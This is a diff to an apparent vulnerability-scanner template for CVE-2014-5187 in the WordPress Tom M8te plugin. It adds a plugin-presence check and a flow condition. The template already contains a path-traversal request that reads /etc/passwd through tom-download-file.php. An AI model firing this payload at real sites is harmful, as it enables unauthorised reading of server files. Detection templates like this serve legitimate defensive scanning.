added-flow

http/cves/2014/CVE-2014-5187.yaml

@@ -26,7 +26,22 @@ info:
     publicwww-query: "/wp-content/plugins/tom-m8te/"
   tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,tom-m8te
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body,"/wp-content/plugins/tom-m8te/")'
+          - 'status_code == 200'
+        condition: and
+        internal: true
+
   - raw:
       - |
         GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd HTTP/1.1